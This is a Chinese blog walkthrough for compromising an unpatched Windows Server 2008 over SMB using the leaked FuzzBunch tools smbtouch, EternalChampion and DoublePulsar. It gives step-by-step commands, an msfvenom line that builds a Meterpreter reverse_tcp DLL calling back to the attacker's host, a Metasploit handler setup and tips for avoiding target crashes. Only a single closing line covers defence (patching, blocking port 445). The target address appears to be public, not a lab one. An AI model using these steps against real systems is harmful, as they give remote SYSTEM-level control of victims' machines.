一、准备工作

此次配置环境和上篇差不多

攻击机1

带有漏洞利用工具集的XP,并且此次需要准备好WinHex, IP 172.26.97.35

攻击机2

Kali, IP 172.26.97.226

靶机

Windows Server 2008 SP1 x86, IP 202.X.X.X,已经开启445端口

开启FuzzBunch

不知道怎么运行FuzzBunch的,请参考我的上篇博文,操作方式和上次一样。TargetIP写靶机IP 202.X.X.X,CallBack写运行fb的IP,也就是172.26.97.35,不使用Redirection

051617_0646_ShadowBroke2.png

二、开始

使用smbtouch探测

use smbtouch execute

smbtouch会为我们探测出目标系统适用的漏洞利用程序

1.png

在这里我们可以看到,目标系统是32位的,EternalBlue和EternalSynergy不支持攻击靶机,EternalRomance无法攻击,只有EternalChampion可以。

使用Doublepulsar生成shellcode

smbtouch成功之后,我们使用Doublepulsar来生成shellcode

use Doublepulsar

我们一路回车默认,会发现多出来一个名为OutputInstall的选项,选择这个

2.png

然后输入路径,比如说C:\shellcode.bin,一路回车执行就会生成shellcode

将shellcode转换成HEX

由于EternalChampion需要的是ShellcodeBuffer而不是ShellcodeFile,所以这里我们需要将Doublepulsar生成的shellcode转换成十六进制;如果你用的是EternalRomance,那么应该用的是ShellcodeFile,可以跨过此步

使用WinHex打开我们刚刚生成的shellcode.bin,然后选择Edit-Copy All-Hex Values,如下图所示:

3.png

使用EternalChampion进行攻击

现在shellcode已经在我们的剪贴板中了,我们就要使用EternalChampion来进行攻击了。

use EternalChampion

在之后我们一路回车默认,信息应该都是和目标系统相符的。在Mode :: Delivery mechanism时像上次一样选择FB一路回车,在程序提示ShellcodeBuffer :: DOPU Shellcode buffer时右键粘贴进那一堆十六进制,由于Shellcode比较长(4KB),所以可能会花几秒钟才会粘贴完。

4.png

在之后我们一路回车默认,信息应该都是和目标系统相符的。在Mode :: Delivery mechanism时像上次一样选择FB。

5.png

之后程序会进行询问,我们回车就能够运行EternalChampion

啊哟, 赢了,金牌,NSA你们这群人真幽默……

6.png

注意:如果你是用的exploit需要Shellcode File,那么这里直接输入shellcode的路径,本例中为C:\shellcode.bin,推荐把shellcode放在根目录,据GitHub上某人的回复,如果放在某个目录下可能会导致exploit不认。

使用Doublepulsar注入恶意dll

在这之后,我们使用Doublepulsar注入恶意dll,和上次操作基本一致,这里我们就再复述下吧

但是在此之前,我想看看后门是否存在,那就Doublepulsar中的选择function: 1 ping,就可以确定后门是否存在啦

7.png

好,咱还是生成恶意dll并用Doublepulsar注入吧!

msfvenom生成恶意dll

切换到Kali,此次就使用reverse_tcp了

#32位操作系统,所以生成32位的dll

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.26.97.226 LPORT=8089 -f dll >badbad.dll

#打开MetaSploit,开始监听

set PAYLOAD windows/x64/meterpreter/reverse_tcp

use exploit/multi/handler

set LHOST172.26.97.226

set LPORT 8089

run

之后将这个dll拷贝到XP中,使用Python创建个http服务器

python –m SimpleHTTPServer 80

拿起久违的IE,下载这个badbad.dll文件

注入dll

use DoublePulsar

一路回车默认,只需要选择function 2 Run DLL,输入我们的dll文件路径

8.png

然后最后直接运行,就会发现反弹成功,拿到权限了!

9.png

啊哟,执行不了meterpreter命令?

在一些情况下,我们可能会拿到meterpreter的会话,但是可能会发现执行不了啥命令,ping下不通了,猜测目标机器蓝屏了,那咋办呢?

等等直到ping通,然后再次运行EternalChampion攻击,它会记得我们输入的shellcode,所以一路回车,然后再次运行Doublepulsar,在程序提示ProcessName [lsass.exe]:选择其他的以NT Authority\System运行的进程名,比如说spoolsv.exe, SearchIndexer.exe, lsm.exe,这就自己试试了。然后就应该不会蓝屏啦~

其实选择啥进程其实都是可以的,大不了运行meterpreter的时候migrate到其他进程就可以了。

三、后记

EternalBlue支持的系统

通过查看xml文件能发现,有点奇怪,EternalBlue的配置文件中支持了这么多系统,但是有时却报告不支持。

11.png

大家能看到,EternalBlue和EternalChampion是在Windows\Specials这个目录下,Special,足以看到这俩工具威力是多么巨大吧!真是可怕……

防范手段

安装SM17-010补丁,开启防火墙过滤445,关闭SMB服务。

*本文作者:The thor